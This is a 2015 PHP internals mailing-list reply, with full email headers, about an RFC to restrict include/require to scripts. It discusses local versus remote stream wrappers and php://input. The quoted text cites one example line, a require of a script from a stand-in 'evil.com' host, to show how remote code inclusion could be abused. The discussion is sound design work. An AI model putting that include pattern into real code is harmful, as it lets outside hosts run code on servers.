Newsgroups: php.internals Path: news.php.net Xref: news.php.net php.internals:83951 Return-Path: Mailing-List: contact internals-help@lists.php.net; run by ezmlm Delivered-To: mailing list internals@lists.php.net Received: (qmail 40997 invoked from network); 27 Feb 2015 01:45:14 -0000 Received: from unknown (HELO lists.php.net) (127.0.0.1) by localhost with SMTP; 27 Feb 2015 01:45:14 -0000 Authentication-Results: pb1.pair.com header.from=yohgaki@gmail.com; sender-id=pass Authentication-Results: pb1.pair.com smtp.mail=yohgaki@gmail.com; spf=pass; sender-id=pass Received-SPF: pass (pb1.pair.com: domain gmail.com designates 209.85.216.49 as permitted sender) X-PHP-List-Original-Sender: yohgaki@gmail.com X-Host-Fingerprint: 209.85.216.49 mail-qa0-f49.google.com Received: from [209.85.216.49] ([209.85.216.49:47604] helo=mail-qa0-f49.google.com) by pb1.pair.com (ecelerity 2.1.1.9-wez r(12769M)) with ESMTP id 9F/FA-32582-82CCFE45 for ; Thu, 26 Feb 2015 20:45:12 -0500 Received: by mail-qa0-f49.google.com with SMTP id w8so10696541qac.8 for ; Thu, 26 Feb 2015 17:45:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=mj8uyQKpeY4fB17jHPVnMfuVaEB0/gtHHwgpDS8p+qA=; b=bBTiUebeD0o32f9H2p4SZhPoEZtnjFXWtr8gmsixbHp+Gsl5Et7I30YumVrw4U6lsC +u2JMOpgyZDLyEZJjNK+ogyFZcCgmp/a36zsdQpJnRP+RD/s/x+rCyIvOmb36XJYf3iG vc+N784+38Ht20XHfryFgBOO2PPYEQLcGk+a33XW/T4iKTZjp+cCbl7lRY/ENo0ALJrl P+IXO465uvm3BRWcpzvhif9TbdJxbPZdlE3+FY5y+KVP/2QZ7LOW8vQ1KGVXPmVWd66s Peiya0Eh8YwwbOszJIAO/OTDFHNydlWx1aMfSSnY9NiN3oraAI8SxXFUHfwGZ7b2K2hi 3g8g== X-Received: by 10.140.105.183 with SMTP id c52mr23980725qgf.54.1425001509868; Thu, 26 Feb 2015 17:45:09 -0800 (PST) MIME-Version: 1.0 Sender: yohgaki@gmail.com Received: by 10.229.198.8 with HTTP; Thu, 26 Feb 2015 17:44:29 -0800 (PST) In-Reply-To: <54EFA3AC.9070406@gmail.com> References: <54EE50CF.9090508@gmail.com> <54EE5A39.9040401@gmail.com> <54EEDE8E.6070201@gmail.com> <54EFA3AC.9070406@gmail.com> Date: Fri, 27 Feb 2015 10:44:29 +0900 X-Google-Sender-Auth: XQ6J_dnWtvFl0cZ5BNLhRwwouLQ Message-ID: To: Stanislav Malyshev Cc: "internals@lists.php.net" Content-Type: multipart/alternative; boundary=001a1139c298cd20570510080497 Subject: Re: [PHP-DEV] Re: [RFC][VOTE] Introduce script only include/require From: yohgaki@ohgaki.net (Yasuo Ohgaki) --001a1139c298cd20570510080497 Content-Type: text/plain; charset=UTF-8 Hi Stas, On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev wrote: > including require > "http://evil.com/inject.php". That's not a good choice to give to the > users. > For this concern, we have 2 classes of wrappers "local" and "remote". php://input and php://stdin would be issue, since it contains "remote" input under Web SAPI while it is "local" with CLI. We may handle php://input and php://stdin separately. What do you think? BTW, I'm not going to change allow_url_fopen. The RFC does not affects at all for readfile/fopen/etc. Regards, -- Yasuo Ohgaki yohgaki@ohgaki.net --001a1139c298cd20570510080497--